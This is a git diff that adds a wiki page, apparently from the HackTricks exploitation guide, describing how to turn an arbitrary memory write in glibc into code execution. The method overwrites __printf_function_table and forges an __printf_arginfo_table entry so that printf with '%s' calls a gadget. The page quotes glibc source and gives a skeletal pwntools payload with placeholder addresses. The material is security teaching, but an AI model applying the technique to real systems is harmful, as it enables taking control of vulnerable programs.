diff --git a/src/SUMMARY.md b/src/SUMMARY.md index fbf54128ab4..4b0c4d07d14 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -911,6 +911,7 @@ - [WWW2Exec - .dtors & .fini_array](binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md) - [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md) - [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md) + - [WWW2Exec - \_\_printf_arginfo_table](binary-exploitation/arbitrary-write-2-exec/aw2exec-__printf_arginfo_table.md) - [Virtualbox Slirp Nat Packet Heap Exploitation](binary-exploitation/libc-heap/virtualbox-slirp-nat-packet-heap-exploitation.md) - [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md) - [Adreno A7xx Sds Rb Priv Bypass Gpu Smmu Kernel Rw](binary-exploitation/linux-kernel-exploitation/adreno-a7xx-sds-rb-priv-bypass-gpu-smmu-kernel-rw.md) diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__printf_arginfo_table.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__printf_arginfo_table.md new file mode 100644 index 00000000000..dd238c5cc13 --- /dev/null +++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__printf_arginfo_table.md @@ -0,0 +1,86 @@ +# WWW2Exec - __printf_arginfo_table + +{{#include ../../banners/hacktricks-training.md}} + +Glibc allows users to register custom conversion specifiers (like `%s`, `%d`) for `printf`. + +### Prerequisites + +- Arbitrary write primitive in Glibc data. +- Ability to trigger a `printf` path after overwrite. +- Glibc base leak to resolve `__printf_function_table` / `__printf_arginfo_table`. + +### How it Works + +When `printf` is called, it checks a global variable `__printf_function_table`. If it is non-NULL, it uses `__printf_arginfo_table` to find the handler function for the current specifier. +1. Overwrite `__printf_function_table` with a non-zero value (e.g., 1). +2. Forge a table at the address pointed to by `__printf_arginfo_table`. +3. In that table, at index `ord('s')` (`0x73`), place the address of your gadget or `system`. + +```c +size_t +attribute_hidden +__parse_one_specmb (const UCHAR_T *format, size_t posn, + struct printf_spec *spec, size_t *max_ref_arg, + bool *failed) +{ + // ... + + /* Get the format specification. */ + spec->info.spec = (wchar_t) *format++; + spec->size = -1; + if (__builtin_expect (__printf_function_table == NULL, 1) + || spec->info.spec > UCHAR_MAX + || __printf_arginfo_table[spec->info.spec] == NULL + /* We don't try to get the types for all arguments if the format + uses more than one. The normal case is covered though. If + the call returns -1 we continue with the normal specifiers. */ + || (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec]) + (&spec->info, 1, &spec->data_arg_type, + &spec->size)) < 0) + { + // ... + } + + // ... +} +``` + +As can be seen, we need that `__printf_arginfo_table` is non-NULL, so that we can control the behavior of `printf`. The actual exploitable path is this call: + +```c +(*__printf_arginfo_table[spec->info.spec])(&spec->info, 1, &spec->data_arg_type, &spec->size) +``` + +### Exploitation + +So, we need to set `__printf_arginfo_table[spec->info.spec]` to the function/address we want to call. Notice that `spec->info.spec` is the format specifier (e.g., `0x73` for `%s`, its ASCII value). As a result, when `printf` is called with `%s` as a format specifier, `spec->info.spec` will be `0x73`, so we need to set `__printf_arginfo_table[0x73]` to the function/address we want to call. + +An example payload could be: + +```py +from pwn import * + +context.binary = ... + +def arb_write(addr, val): + pass + +one_gadget = ... +__printf_function_table_addr = ... +__printf_arginfo_table_addr = __printf_function_table_addr + 8 + +fake___printf_arginfo_table_addr = ... + +arb_write(fake___printf_arginfo_table_addr + ord('s') * 8, one_gadget) +arb_write(__printf_arginfo_table_addr, fake___printf_arginfo_table_addr) +arb_write(__printf_function_table_addr, 1) +``` + +--- + +## References + +- [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md). + +{{#include ../../banners/hacktricks-training.md}}